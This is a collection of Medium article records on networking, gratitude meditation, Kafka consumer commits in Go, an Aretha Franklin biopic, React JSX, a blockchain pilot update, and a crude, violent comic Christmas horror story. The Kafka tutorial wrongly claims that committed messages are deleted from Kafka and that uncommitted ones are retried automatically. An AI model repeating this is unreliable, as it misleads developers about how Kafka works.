Unless you use NAS based file transfer for huge files, you are right that you really do not need multi-gigabit. I have been observing my network throughout since I got Xfinity Gigabit Pro. I don’t see large throughput during Zoom, 4K video or calls. Well under 200 mbps so far.
If anything I am surprised at how less bandwidth I am using. Although ping times are super low, so everything is faster even if I am not using anywhere near full capacity.
This is one reason why — other than my single workstation PC, everything else is gigabit and I deliberately made the momentous decision to save $$$ to stay at single gigabit networking.
If you can get consistent 200 mbps up and down ISP fiber — that would be good for more use cases. To make it future proof further, 500 mbps up and down should be more than adequate.
Note, it is all a matter of scale though. If there are more people in a household, and all of them are watching 4K video, high-res audio, HD voice calls, it can all add up. Then, you need to figure out what is the reasonably priced equipment to meet the needs best.
If you think $$$ is not a limitation, go fiber instead of ethernet. You can spend a lot of $$$ to do almost anything possible. I believe in staying within “reasonable cost” however.
My last note is that, WiFi has scaling issues with the number of devices. Wifi cards die after a certain period of usage especially with heavy usage. The inherent problems with Wifi 5 and lower is a bigger problem than wired bandwidth limits.
I solve that by increasing the Wifi Access Points so it is spread out better (I like Nest/ Google Wifi but Apple was better when they had their own routers because Nest does not support bridge mode with an upstream router).
Anything before WiFi 6 has hard limits beyond 100–200 devices which are busy, and even WiFi 6 is not fully mature yet, and WiFi 6 does not matter if your clients are on WiFi 5 or below.
Nobody will say what I said about WiFi out loud. But everyone who has used WiFi at scale knows this.
Here is what happened next:
To be continued… | https://medium.com/swlh/why-i-use-gigabit-equipment-save-while-fully-utilizing-xfinity-gigabit-pro-3gbps-internet-3de71fb33f01 | [] | 2020-12-16 23:06:55.747000+00:00 | ['Xfinity', 'Gigabit Pro', 'Netgear', 'Ubiquiti', 'Networking'] |
Cultivate Gratitude for the Earth to Inspire Climate Action | Cultivate Gratitude for the Earth to Inspire Climate Action
Image by Mohamed Nohassi, Unsplash
In the past week, Thanksgiving week in the United States, everyone was paying more attention to the practice of giving thanks for all we have. And now that the holiday is over, I’m realizing that I can experience gratitude any time. This morning when I sat down to meditate, gratitude for the earth arose spontaneously in me. With it came a sense of peace, renewed energy for climate action, and an insight that I am often moved more by my fear for the future of the planet than by appreciation.
While fear can be a great motivator, it can also stress and drain us. So, today I made a commitment to cultivate more appreciation for the earth regularly. For several years now, I have been receiving daily quotes from the Network for Grateful Living. While I love reading them, I rarely pause after and allow their wisdom to inspire me in my climate action.
Image by Amar De, Unsplash
From now on, I intend to take five minutes each day to contemplate them and draw on them to nourish me and guide me. As my friends who created the Virtues Reflections Cards app say, “An attitude of gratitude heals our sorrow and lights our path.”
To help me learn how more on cultivating gratitude, I turned to the wisdom of Br. David Steindl-Rast, who created a simple “Stop. Look. Go” approach to the practice of grateful living. He encourages us to 1) Stop and cultivate presence, 2) Look and cultivate perspective, and 3) Go and cultivate possibility. Drawing on the rich explanation of this process provided by Kristi Nelson in Cultivating a Practice: Grateful Living as a Way of Life, I created a Gratitude for the Earth Contemplation/Meditation for us all to use in fostering appreciation for the natural world that supports our lives.
A Guided Earth Gratitude Meditation
Find a comfortable place to sit, preferably outside or near a window overlooking nature.
Take a deep breath in, filling your body with life energy. Exhale slowly, returning the gift of breath to world. Repeat two more times. Then return to your normal rhythm of breathing.
Image by Regine Tholan, Unsplash
Next, open your senses to the surrounding nature. Notice what you see–maybe there’s a bird on a branch, or the green of a fern uncurling. Pay close attention. What do you hear? The sound of the wind moving through the trees? A woodpecker hammering on a trunk or a dog barking? What do you smell? The musky smell of fall leaves on the ground, or freshly cut grass? Take a few moments to absorb what is all around you in this moment, bringing more into your field of awareness.
Now, with your awareness widened, think about all that nature provides us. Start with the solid ground we stand on. Imagine the earth beneath your bare feet–soft grass, rich soil, sandy shores, solid granite rock. Recall how you feel when you connect this way to the Earth and how it supports you.
Image by Stephen Walker, Unsplash
Then, turn your attention to the water that makes life possible on this blue planet. Recall how refreshed you feel when rain, or water from a shower, cascades over you. Taste clear cool water as it flows down your throat on a hot day. Immerse yourself in the ocean or a cool river or lake. Appreciate how water supports you and all other living things on earth. Visualize plants sprouting after a spring rain, multi-colored fish darting in and around a reef, streams rushing through a forest.
Image by Ed van duijin, Unsplash
Allow waves of gratitude to wash over you as you contemplate how the forests nourish you with their shade and their oxygen. Be present to the gift of the wood they provide for our homes, and the carbon dioxide they remove from the atmosphere. For a moment, feel yourself as a part of the breathing cycle of the earth, breathing in what the trees exhale, breathing out what the trees inhale.
Now turn your attention to the many plants on the planet. Appreciate how they provide nourishment for our eyes, through their beauty, and for our bodies as food. See apple trees with branches weighed down by fruit, fields of rice shimmering in the sun, gardens of vegetables waiting to be picked–bright red tomatoes climbing vines, colorful bunches of rainbow chard standing at attention, white heads of cauliflower perched atop their stems, squash blossoms elongating into green and yellow winter squash gourds.
Image by Alexandre Debieve, Unsplash
Notice how the plants even nourish the earth as they die. Visualize how the micro-organisms and insects break them down into nutrients for the soil. See the earth worms turning dry leaves and cornstalks into compost. Glimpse the birds in the fields fertilizing the soil as they scratch for their dinner. Marvel at how the animals interact with their environment; how they too give their lives to the earth and to us. Allow yourself to fill with gratitude for the gifts from nature.
Image by Javardh, Unsplash
From this place of expanded perspective and appreciation, now contemplate how you might tend, nurture, enrich, nourish, or cherish the planet on which we live. How are you called to act from gratitude for the Earth? Recognizing our interconnectedness, how do you want to make a better life possible for the world? How will you act more purposefully around the climate crisis?
Take a few deep breaths. Then bring your attention back to where you are sitting.
Find a piece of paper, or a journal, and note any insights you had during the contemplation, including how you want to engage in climate action now.
Image by Nasam Thaufeeq, Unsplash
Thank you for traveling with me on this gratitude journey. I hope you will join me, going forward, in continuing to cultivate more gratitude for the Earth and experiencing the generative power of appreciation to inspire climate action.
As Kristi Nelson says, “Blessed with presence and perspective, gratefulness wants to move, cast its ripple, have its impact. Grateful living is active. It beckons us to step into our lives and into the world to play, take part, and protect, and to cultivate the glorious possibilities that live on the other side of the busy street that is life.”
It is time to go. It is time to cultivate new possibilities.
I wish you all the best in your gratitude inspired climate action,
Eco-Omi/Krista | https://medium.com/greener-together/cultivate-gratitude-for-the-earth-to-inspire-climate-action-2acb45f2f965 | ['Krista Kurth Ph.D.'] | 2020-12-02 17:16:03.530000+00:00 | ['Contemplation', 'Climate Action', 'Earth', 'Climate Change', 'Gratitude'] |
How to not lose any data in Kafka | In our company, we started a vital microservice with Golang. this service read messages from Kafka and after some processes save the result in the database
These messages are very important because they are such config messages and end-user will see the bad result if the messages did not proceed successfully
So we developed the microservice successfully and test it with unit tests all thing is done well
But after some days we received some reports demonstrate that some data not set successfully in the database and end-users nagging that something bad happened in our application
so we reviewed our code again and again and also unit tests but can not find anything or any situation that made the system lose data. but after days we have found the problem. but what was it?
When your program read messages from Kafka by default Kafka remove the message from his history as he thinks you proceed message successfully and Kafka named this operation COMMIT and in the default behavior all messages were read by user commit after 5 seconds. So our problem actually was that, the Kafka AUTO-COMMIT. we read messages from Kafka and sometimes because the database unreachable at the moment or when release a new version of our microservice the data cannot proceed successfully but because the message was read from Kafka and auto-commit was enabled the data disappear and bugs come up.
So that sound is weird, what should we do? it is so bad that we lose our data. don't be worried Kafka has an option that completely made our work easy.
For solving this issue when we want to connect Kafka as a consumer we should tell Kafka you should not commit our message, our microservice will
Talk is cheap, show me the code
disabling auto-commit is so easy, just pass an argument to Kafka as a consumer, for example, see our code written in Golang
consumer, err := kafka.NewConsumer(&kafka.ConfigMap{
"bootstrap.servers": option.Servers,
"group.id": groupId,
"enable.auto.commit": false,
})
so easy! but just one other easy step remains and that is, commit messages after procced the message, and it's simple too
just call the commit function in Kafka right after doing your work when you are sure you saved the data successfully or sending the message to the client is done .that send and Acknowledge to the Kafka server and Kafka removes this message for your topic.
in the example below that written in Golang, we sent a list of offsets that retrieved from messages read from Kafka, every message has a unique offset number that we can use in a commit
consumer.CommitOffsets([]kafka.TopicPartition{kafka.TopicPartition{
Topic: &topic,
Offset: kafka.Offset(offset),
}})
Finish. we are done our work successfully and now we are sure all data saved in the database
Note: if your data failed to proceed and you cannot commit your message, Kafka would recognize oh there is a problem and retry the message after a while
That is, hope you enjoy it. | https://medium.com/@arashrahimi46/how-to-not-lose-any-data-in-kafka-154571151200 | ['Arash Rahimi'] | 2020-12-13 11:14:07.482000+00:00 | ['Message Queue', 'Kafka', 'Backend', 'Message Broker', 'Golang'] |
Aretha Franklin’s Biopic Won’t Come Out Till 2021, But We Are Showing Her Some Love Anyway | Aretha Franklin’s Biopic Won’t Come Out Till 2021, But We Are Showing Her Some Love Anyway
Yes, we put some respect on her name
American musician Aretha Franklin performs on stage at the Park West Auditorium, Chicago, Illinois, March 23, 1992. Photo: Paul Natkin/Getty Images
If not for Covid-19, the film about the life of Aretha Franklin would likely be the top-grossing film of the holiday season. It was supposed to have a limited release on December 25 and then move into a full release in 2021, but the pandemic altered those plans. The new release date is set for summer 2021, but that doesn’t mean we still can’t celebrate the Queen of Soul and the work put in by Jennifer Hudson and Forest Whitaker to create this film named for the singer’s 1967 hit.
Oscar-winning set designer Ina Mayhew gave us a glimpse of what to expect in an interview from earlier this year: | https://zora.medium.com/aretha-franklins-biopic-won-t-come-out-till-2021-but-we-are-showing-her-some-love-anyway-a192aebe176f | ['Adrienne Samuels Gibbs'] | 2020-12-29 17:41:35.858000+00:00 | ['Aretha Franklin'] |
Illustrating React JSX! | Umm...
So what is JSX?
JSX is JavaScript XML with which we can write HTML in React.
Source: Image by Marina Vorontsova
Format
I will go over the topic in the following format:
A short example to get to JSX ( It’s about you 😃)
What is JSX?
Before the JSX era 😉
Why use JSX?
How to use it (The fun part 😍)
HTML VS JSX
Use cases
Conclusion
Brainstorming
If I ask you to write code to render the following content,
A heading ( your name)
A paragraph (your bio)
If I were you,
Me: What can I use? My Robot: I know!! use HTML (😉) Me: Alright! let’s get it done!
Used W3Schools editor
Robo: Yay!! done!! Me: Okay, but we are in the Third Decade of the 21st century AND we are in the React world right now, Mr. Robot. Upgrade yourself and help me solve this with something new! Robo: Here you go, use JSX!!
What is JSX again?
JSX is an HTML-like syntax that comes with the full power of JavaScript. It is used with React to describe what to render to the DOM.
It was released with ES6 in 2015.
Under the hood, JSX is compiled to HTML by Babel (If you are from a non-English speaking background, Babel is just like a translator that translates your mother tongue to English! It takes the latest version of JavaScript (ES6 and newer) and converts to older versions).
Before JSX
We can use React without JSX.
The above example without JSX,
Used codeSandbox
Yeah! before JSX, React.createElement() was used to create an element. And yeah! it was such a tedious task to create each element the above way.
React.createElement(type, [props], […children])
Let’s go through the arguments:
type : It is an HTML element or a react element (Here, h1, p, and main)
: It is an HTML element or a react element (Here, h1, p, and main) props : They are properties given to the elements such as attributes (Here, we didn’t give any attributes to the elements so, null)
: They are properties given to the elements such as attributes (Here, we didn’t give any attributes to the elements so, null) children: We can give any number of children. They are the content of the HTML element we create. (Here, <h1> has name, <p> has a bio, and both of them are children of main)
So, Why use JSX?
Fundamentally, JSX just provides syntactic sugar for the React.createElement(component, props, ...children) function. The JSX code — reactjs.org
We came to a realization that using React.createElement() each time we create an element, doesn’t make much sense.
With JSX,
we can write less code with more readability
Optimized performance
It comes with the power of JavaScript (we will discuss more of it later in the post). Instead of separating markup and logic, React uses Components.
JSX allows React to show more useful errors and warning messages — reactjs.org
How to use JSX?
Here is the fun part 😃!
I will go over the above-mentioned example again.
After this, you will be able to use JSX to render whatever you want!
Tip: Try codeSandbox to practice React in the beginning. It is an online IDE to write code in React. To know how to set up the React project on codeSandbox. Click here.
An example of JSX
Line 1,2: we need to import React, ReactDOM bundles.
Line 4–12: This is the JSX part where you assign elements you want to render. You can nest any number of elements just like HTML. BUT, yeah it’s a loud but,
JSX elements must be wrapped in an enclosing tag!
ie..,
error example
This can’t be done. We must wrap all the elements in a single tag because, under the hood, we are still using React.createElement() when we write JSX. We can’t save two functions in a single variable.
Line 14, 16: ReactDOM.render(element, container)- It takes 2 arguments.
element : The element we want to render (Here, main). We always pass a single element into the function
: The element we want to render (Here, main). We always pass a single element into the function container: The container we would like to render the element into (Here, the container with the id ‘root’)
Here is how it renders,
inspected code
<React.Fragment>
We all are aware of the situations where we use <div> or <span> to wrap elements for the container's sake. <React.Fragment> is just like that. It serves the container’s purpose.
You don’t need to always think of an element to wrap JSX elements.
Also, it won’t appear on the DOM.
ie..,
<React.Fragment> example
When we inspect the above example,
Even though <h1> and <p> are wrapped by <React.Fragment>, it won’t appear.
Exercise: Try nesting JSX elements
HTML vs JSX
There are 3 main differences between HTML and JSX
1. We use JavaScript reserved Keywords with different names in JSX
For Example,
the class and for attributes will be written as className and htmlFor respectively
But, it still appears as class when we inspect the element.
For more supported attributes, browse
2. Property names are always written in camelCase
As we have seen in the above example, attributes/property names will be written in camelCase
HTML : <h1 class=’content-heading’> Meghana Vadlapally </h1> JSX: <h1 className=’content-heading’> Meghana Vadlapally </h1>
3. Every JSX element assigned to a variable must be closed.
For example, in HTML when we use <input > (it’s a self-closing tag), even though, it’s not closed, it will be rendered.
But React throws a SyntaxError.
It must be terminated.
Use Cases
Using variables inside the markup (Interpolating)
Using expressions
Interpolation
What if you want to use the same text at several different places?
We need to store that in a variable. Fine, but how to access the JS variable inside JSX?
For example,
You want to add a smiley on each line,
It is fine to repeat twice but, what if you have to use the same thing a LOT of times?
JSX let us interpolate values using {}.
interpolation example
We can even use variables to store class names and use them with JSX.
interpolating className
In the above example, we used nameOfClass variable with <b> tag
When we inspect the element,
className will be converted to class again.
When js encounters { }, it switches to normal JS evaluation and renders the result of evaluation into the view
Using Expressions
JSX takes any valid JavaScript type and evaluates it.
Here we go through the following examples,
Sum
Function usage
Conditional rendering
Sum
Let’s use an expression with JSX that sums values.
example of expression usage in JSX
Function usage
JSX function example
We use Arrow functions in JSX
We can pass parameters/props to the functions
passing parameters/props to the function
We used template literals to use parameters/props.
Conditional Rendering
We can conditionally render the text.
Let’s go over an example to check voter eligibility
voter eligibility
Here, we used ternary operator to conditionally render text.
We can conditionally render class names too
When we inspect the element, the right class name will be rendered.
Conclusion:
JSX is HTML-like syntax which is a JavaScript extension.
JSX solves the tedious task of using React.createElement() each time we need to create an element.
JSX comes with the power of JavaScript. We can insert JavaScript code into JSX.
Thanks to Almero Steyn, Ultimate Courses, and CodeSandbox! | https://medium.com/the-innovation/illustrating-react-jsx-967bd0c588ad | ['Meghana Vadlapally'] | 2020-12-27 13:11:28.520000+00:00 | ['Front End Development', 'React', 'Web Development', 'React Jsx', 'JavaScript'] |
Dear APEX Community Members | Updates — Technology and enterprise pilots
We are on track to have 4–5 enterprise pilots this year that will use APEX Network in production mode. Currently we cannot yet disclose the names of the enterprise pilot users but there are three piloting enterprises from two different industries that are well into the process and already beginning to see value:
One previously announced budget Chinese airline (similar to Southwest in the US)
One top 5 Chinese car brand (Tesla competitor)
One high-end Chinese airline
We are expecting first experimentations of pilots on the official APEX Network mainnet as soon as 1–2 months after launch. We are also in the process of experimenting with a hybrid model where user data is stored on a private or alliance chain version of APEX Network, but cross-enterprise transactions occur on the main network.
Pilots are actively pushed by the partnership development team if they assess the enterprise to be a good fit. At least 70% of our enterprise base are aware of our blockchain technology offerings.
Federated Learning, of which an early introduction was given by the team, is one of the latest blockchain technology features we are developing, and it will eventually be available for use both on the main network as well as private/hybrid chains. As previously stated, the goal is ultimately to have it run on the public chain. Indeed, FL at scale only makes sense at the public chain level, though to ease adoption and reduce hesitance I’m sure certain enterprises would like to test it at the private level first. | https://medium.com/apex-network/dear-apex-community-members-b3378f2b075a | ['Jimmy Hu'] | 2020-03-16 17:42:25.664000+00:00 | ['Big Data', 'Technology', 'Blockchain', 'AI'] |
A COVID Christmas | ’Twas the night before Christmas and the sleigh tumbled through the sky, speeding nonsensically liked a crazed hummingbird. “Fuck” hissed Santa as he clipped the roof of the Waterson residential home a bit sharper than he’d intended to. He mumbled to himself, untangling his unkempt beard with one hand, while reaching for the flask of whiskey in his pocket with the other. After letting out a drinker’s groan, he fumbled around with the crumbled piece of paper, balled up on the floor of the sleigh.
“Now, who the fuck do we have here?” he grunted, sniffing the cold air. “Cin…Cindy. What a sweet name. Has she been naughty or nice? How can you be naughty with a name like Cindy? At least at this innocent age, before she turns twenty and ends up on a strip pole somewhere. Now that would be naughty and nice!”
He grabbed her mini waterproof camera that she’d asked for, as well as her little brother’s dinosaur set, featuring a cheaply painted plastic T-rex. He then looked straight up and howled with anger. The elves had forgotten to wrap the presents…all of them. He shoulda known better. Their eyes were always looking this way and that, sometimes both at the same time. Speed, or some variety of speed was his guess. How else could they work, day in and day out with those little chiweenie bodies. He always caught them with handfuls of sparkling powder. They’d told him that it was the “magic” needed to finish the giant annual order of useless shit that everyone always asked for. He never thought that they may have been inhaling the “magic” by the truckload.
Santa hawked up a loogie and spat it off the roof, as far as he could. Satisfied with the distance he was able to attain, he dangled his sack full of presents down the chimney, before climbing in himself. “God fuckin’ damnit!” he whispered, punching the brick wall of the chimney, covered in soot. The chimney had been latched shut from the inside and unfortunately, Santa had left his magic ring that Mrs. Claus had gifted him centuries ago, in the sleigh. Without the ring, he couldn’t open the chimney seal and gain access to the Christmas tree, under which he was supposed to silently slide these unwrapped presents.
“Well, plan B it is.” He took out the slightly rusted revolver from his belt and clicked open the chamber to make sure that there was at least one bullet in there. Some luck at last, full chamber! He stuck out his tongue and aimed carefully with one spinning eye. He pulled the trigger and was rewarded with a silent click. A dud. The bullets were so old that their percussion caps had decayed to shit. He pulled the trigger a second time. Nothing again. Santa growled like a feral panther caught out of his element and began pulling the trigger frantically. Like playing Russian roulette, but with a mostly full chamber of useless bullets, the last bullet fired, sending out a dramatic ball of flame and busting the revolver’s barrel in half. Santa grabbed his ear in defense of the never-ending ringing, and in his drunken stupor, forgot that he needed two hands to climb down a chimney.
The fat man fell down the long black pipe and landed on his sack, crushing the two presents. The loud crash had flung the chimney door across the room along with a couple of dragon’s breath worthy billows of black smoke. “Ahhh!” shrieked Santa, throwing the useless remnants of the revolver on the floor as he climbed out, completely covered in soot. The ring, which he’d forgotten in the sleigh, also usually protected him against stains and cuts and bruises that he might otherwise pick up during his many chimney climbs. He went down more pipes once a year than Mario did his entire life.
“No cookies?” he huffed and looked down at the pathetic, twisted little toys that Cindy and her brother Marvin were, oh so excited for! The camera had been dented and he was pretty sure that the lens was now cracked. The dinosaur set now featured a T-rex with severe scoliosis and a twisted head. Santa exhaled with relief as he felt his flask. It was still intact and the liquid inside sloshed around heavily. He kept taking swigs of whiskey until he ran out of breath and let out a long-drawn-out belch that smelled of putrid oak. He was about to carelessly throw the presents under the tree, but just as he was about to let go, he saw a freckled little girl peeping at him from between the balusters of the staircase.
“Cindy! No need to be afraid. Santa just had a little accident coming down the chimney. Why did you close and lock it?”
Cindy didn’t respond. Her father, however, came rushing down the stairs with a 12-gauge shotgun, which he pumped before aiming it right at Santa’s salt and pepper (more pepper now) beard. “Mr. Waterman…”
“It’s Waterson, asshole. Get down on your knees! The cops are on their way.” Mrs. Waterson briefly appeared on the stairs and placed her hand on Cindy’s shoulder and urged her to go back upstairs.
“Mr. Waterson, I think there has been some kind of misunderstanding here. I expect to be paid in cookies and milk, not anointed with shotgun pellets.”
“I said, down on your knees, NOW!”
Santa sighed and got down on his knees. He realized that he still had the flask in his hand and decided to kill whatever was left inside in two gargantuan gulps. “Oh, Rudolph! Code red! Nose red!” he screamed up the chimney, hoping that his loyal reindeer would come to his aid.
“Shut up! I want you to drop the flask and put your palms on the ground, slowly! And keep your arms and legs spread!”
Santa looked up at this scrawny man acting like a tough guy. The shotgun he had wedged into his shoulder was bigger than him. “Oh, you don’t wanna do this son. I am Santa Claus, dickhead! I brought presents to your daddy and his daddy before that. To all the daddies who celebrate Christmas! You really gonna put me down here in front of your family, and scar your children for life? All because I went out of my way to bring your kids the toys they’d asked for!” Santa pointed at the broken camera and the dinosaur set sprawled out sadly in front of the Christmas tree. Mr. Waterson contemplated what he’d said for a moment and his hands began to tremble.
“You’re so full of shit! There is no such thing as Santa! You’re breaking and entering on private property, shitfaced beyond comprehension!”
“You’d say that in front of Marvin? Put your hands over your ears kid.”
Right when Mr. Waterson turned around to look at his absent son, Santa leapt into the air and pounced him like a deranged housecat. He delivered one swift punch to Mr. Waterson’s kidney and took the shotgun from his hands as the protective father continued to writhe in pain.
“Now, show me where the cookies are! And you can skip the milk. Whiskey!”
“Cookies?
“Yes, Waterman! Cookies! And take off that ridiculous mask! This isn’t Halloween.”
Mr. Waterson took off his COVID face mask and pointed at the kitchen. “I can bake you some cookies. It’ll take time. Please don’t hurt my family.”
Santa itched his beard again and sat down on the living room couch. The threadbare carpet barely gripped his black boots and he almost ate shit twice. He pulled out a Cuban cigar from his coat pocket and lit it with a gold lighter that caught the Christmas lights from the tree just right, winking back at Mr. Waterson in blues and reds and greens. “I’m not here to hurt anyone Waterman. It’s you who created this standoff.”
“You fired a gun in my home! I heard it! Hell, the whole block probably heard it!”
“That was a necessity. These children need their presents! Are you baking those cookies yet?”
Mr. Waterson got up to preheat the oven. “Never mind. No time,” snapped Santa, pulling himself up to his feet with a deafening belch. “Too many rounds to make tonight. All the kids were quarantined inside this year. So, everyone by default is nice!”
“This is the police! We have the building surrounded!” said a voice over a megaphone. It took Santa a minute through his drunken numbness to realize that this was no figment of his imagination. He pulled the curtain to the side with the barrel of the shotgun to see an army of cop cars lined up like ants. He looked back at Mr. Waterson, who observed the whiskey’s anger protruding through those blue soulless slits.
“Please, don’t hurt us. We didn’t do anything to deserve this,” he pleaded, looking over to the staircase and thinking about his family, locked and bolted behind the master bedroom door upstairs.
“Shut up Waterman, I need to focus.”
Mr. Waterson started mumbling something under his breath.
“Waterman, I said SHUT UP! Rudolph! Where’s the cavalry!” From the lingering cloud of soot in front of the fireplace, there was a loud clanking followed by the clattering of a delicate metal object. A gold ring flew out of the fireplace and landed on the carpet next to Santa’s heavy boot. Santa laughed as he put the ring on his finger, though his laughter quickly turned into panic as a loud thump and sliding noise could be heard through the ceiling. It was coming from the roof. Rudolph and the rest of the reindeer were preparing themselves for takeoff without their master. “Rudolph, no! Come back you useless little shit! I’m gonna cook you and feed you to the elves if I ever make it back! Mark my words!” Santa spun around and Mr. Waterson turned even paler than he already was. His pupils had grown to the size of massive black holes, fueled by a growing supply of fear.
“What’re you looking at?”
Mr. Waterson tried to pull himself up out of the sunken couch. “Sit down Waterman. I said SIT DOWN!” The couch sunk in even more like birth in reverse. “We’re gonna make our final stand Waterman. No way I’m going to jail, you hear me! Hey! I need you to focus!” Santa walked over and slapped Mr. Waterson across the face, leaving behind a red throbbing welt. “Alright, I’ve never used it before for anything other than gravity defying chimney work, so in a way, this’ll be my new toy for Christmas.”
Santa twisted the ring on his finger. With each turn it changed color, exploring the entire spectrum from hot to cold. He stopped until he reached a blackish purple color that resonated with still desolation. Santa then slammed the butt of the shotgun into the glass coffee table in the living roof, shattering it into a couple of big pieces. “Grab a piece, make sure it’s sharp. C’mon, c’mon, we don’t got all night!”
Mr. Waterson’s hands trembled as he grabbed the biggest piece he could find. It looked like a lean slice of pizza. He looked at Santa, who was staring out of the window, and cleared his throat. His hands steadied in anticipation of what he knew he had to do. “Don’t you even think about it,” said Santa without turning around. “I’ll blow you in half with your own shotgun. Just take the sharp edge and cut a deep enough line across your palm to draw a healthy stream of blood. You’ll live. You won’t if you refuse me, Waterman. Think about your children and Mrs. Waterman. Don’t be a hero.”
Mr. Waterson stared at the piece of glass. “I just need your blood. The quantity is up to you,” said Santa, pointing the shotgun at him in a way that was reminiscent of the Terminator. Mr. Waterson closed his eyes and pressed the glass into his palm. It sounded like a quill tip was tearing a hole into thick parchment. The blood trickled onto the carpet. Santa grabbed and shook Mr. Waterson’s bleeding hand with the shotgun still pointed at his forehead. “Put the glass down before you get hurt, Waterman.” He obeyed like a scared little boy.
Santa flung a couple of drops of blood into the fireplace. A fire instantly came to life and danced like a resurrected belly dancer given a second shot at life. “Go upstairs now, Waterson. I don’t want the spirit to fulfill its cravings with your mortal body. They’re like sharks you see, and you’ve already dripped a substantial amount of blood into the sea layered between life and death. Fuck off and stay out of harm’s way.”
“You-you said my name right.”
“Of course, I did. I’m Santa Claus bitch! Now git!”
Mr. Waterson ran up the stairs like the final level of Mario ready to save his princess, as Santa rolled up his sleeves. “I invoke thee, spirits of the night, spirits that fill me full of fright, spirits that do not bark yet bite…I invoke the powers of my hooved counterpart of burning legions enslaved to the pentagram.” Santa looked around the room. Nothing had happened. The fire still danced adeptly, and the megaphone was still rambling on with threats of entering the building. The police were scared. They could feel the power resonating from the ring and the frozen might of the towering North Pole. “Krampus!”
Krampus never showed up. Instead, bones were reanimated underground and through some unholy strength, they were able to dig their way out from underneath the icy cement. They were the bones of short men and women. Some had the remnants of bone and obsidian knives mingled into their skeletal frames. Others had huge holes in their skulls from musket ball wounds over a century ago. The police captain clicked on the horn and just stared at the reanimations of the dead with wide eyes. His jaw was ajar just like the dead slowly approaching him with black cavities for eyes. “S-Stop! I said freeze!” he drawled as terror cracked his voice into a headless chicken pitch. The dancing flames in the fireplace were replaced by dying orange embers.
It sounded like microwave popcorn was reaching its two-minute crescendo outside. Santa peeped through the curtains and saw nothing but smoke from the gunpowder and particles of snow that lingered in the cold air like a thick mist. The screaming from the police had stopped and all was silent. A long forgotten native American reanimation charged the window with a few perfectly preserved feathers stuck on string between the remaining two ribs of its rattling ribcage. “Oh, fuck!” screamed Santa, pulling the trigger as a reflex. The glass shattered into a million pieces, turning the attacking skeleton into a cloud of ossified powder. “Waterson! I need your help! I can’t fight them off on my own!”
Mr. Waterson cautiously made his way down the stairs after a minute’s delay and a screaming argument with his wife. Maybe it was a hint of Stockholm Syndrome, or it was the convincing terror in Santa’s voice, but he answered the call. The mist from the shootout with the cops had settled back down, creating an extra thin layer on the blanketing snow. “What are they?” asked Mr. Waterson, looking at the dozen or so skeletons slowly dragging their feet towards them.
“They’re the buried natives of the land around us, resurrected and starving for the living.” There were also skeletal critters and birds who couldn’t fly due to the lack of feathers and skin, that popped up out of the ground. Whatever Santa had invoked, it was more than just human remains that’d been reanimated. Invisible sleigh bells could be heard above them. Then, another hard landing on the roof, which rattled the entire house. “Here you go. I shot one shell, I hope you have many more to spare,” said Santa, handing the shotgun back over to Mr. Waterson.
“Wait!”
Santa, with one arm already up the chimney in preparation for a hasty climb, turned around and looked at the desperate father. “Please, you did this. You gotta help us…” A reanimated dog charged through the remaining, cracked glass of the already broken window and jumped on top of Mr. Waterson. It tried to lock its fangs around his wrist but caught the stock of the shotgun instead. It munched down on it with the sole purpose of destruction, slipping its fangs deeper and deeper into the polished wood. It would’ve all been over for Mr. Waterson had Santa not intervened. He cracked the sodium hound over the head with Cindy’s camera.
Two more hounds and skeletal birds joined them inside the first house of the night. They were met with pellets and the flashing scent of gunpowder. “Quick, use your ring! Make them stop!” The reanimation process was stuck in a loop. Even insects that’d died many millennia ago were brought back confused in their hollow carapaces.
“I don’t know how to use it like that!” hissed Santa, looking around the room for anything else that could be used as a weapon.
“Just twist it ’til it shines a different color!”
Santa began turning the ring on his finger, going from dark purple to scarlet, to yellow, then to blood red. “Perfect, keep it at red,” said Mr. Waterson, popping another shell into the shotgun from the front pocket of his torn pajamas.
“Why red?”
“It matches your outfit. Red is the color of Christmas. I’m hoping for a Christmas miracle here.”
“I need more blood.” Santa walked over to Mr. Waterson and ran his gloved finger across the cut on his forehead.
“Ow!”
“Don’t be a such a baby.” The fire was reignited through the enraged embers, which now glowed a butcher’s red. At first, it looked as if nothing extraordinary was going to happen. However, right when hope was drained from the tattered men’s eyes, the fire burned so hot that it started to melt the iron grate. This in turn spilled the embers onto the carpet, which normally would’ve been cause for alarm. Instead, the two men stood there like two petrified logs at the bottom of a frozen lake.
“Oh shit! What is that!” yelled Mr. Waterson. A behemoth of a creature crawled out from between the licking flames. His body was chiseled and completely devoid of hair. His skin was as red as Santa’s ring and was glistening as if it were oiled up or very sweaty.
“The fuck do I know!” yelled Santa, twisting his ring this way and that. It went from yellow to blue to orange to turquoise. It didn’t have an effect on the crawling entity born of hellfire. The creature initially walked on all fours, but once it cleared the fireplace it stood up on its hooved hindlegs. He must’ve been at least seven feet tall! He had a long tail that dragged on the burning carpet behind him like a bullwhip. “H-Hello” stammered Santa. The entity peered at him through eyes stuck in a perpetual vortex of churning hatred. “And what would you want for Christmas?” asked Santa as the creature slowly approached them.
“What’re you doing?” whispered Mr. Waterson like a ventriloquist.
“I’m trying to buy us some time before the only option we have is to blast that thing with the shotgun. Try to get him on our side.”
“How?”
“Toys, gifts, your firstborn.”
“What!” said Mr. Waterson through clenched teeth.
“I dunno. Look at him! He might want some shit like that. Blood of the lamb or a bouquet of body parts. Fucking fuck this ring!” Santa’s eyes lit up with half a stupid plan. “More blood,” he said rubbing Mr. Waterson’s forehead gash again.
“Ow! Stop doing that!”
Santa smeared the blood over the toy T-rex on the floor and began twisting the ring again, while pointing the light directly at the toy.
“He’s here. He doesn’t look like he’s on our side,” whimpered Mr. Waterson with chattering teeth.
“Shoot him! Buy me as much time as you can.” Santa kept frantically turning his ring like he was trying to set the Guinness world record in a Rubrik’s cube competition. The shot rung in both their ears as it hit the demonic entity square in his defined 8-pack abs. Yellow molten lava oozed from the pellet wounds, melting away the embedded pellets themselves. Once they’d been pushed out, the wounds sizzled themselves closed.
“It’s not working!”
“Shoot him again!”
Mr. Waterson chambered another round but right when he was about to pull the trigger, the demon grabbed the barrel. The shotgun turned orange and the heated barrel started to droop towards the floor like a failing erection. He pulled the trigger anyway and was left standing there with only the shotgun’s grip still in his hand. Everything else had exploded to pieces, sending shells and unburnt gunpowder throughout the room. The demon growled at him with sharp fangs with something stringy and molten between them. From the windows, more skeletal natives climbed carelessly into the burning living room.
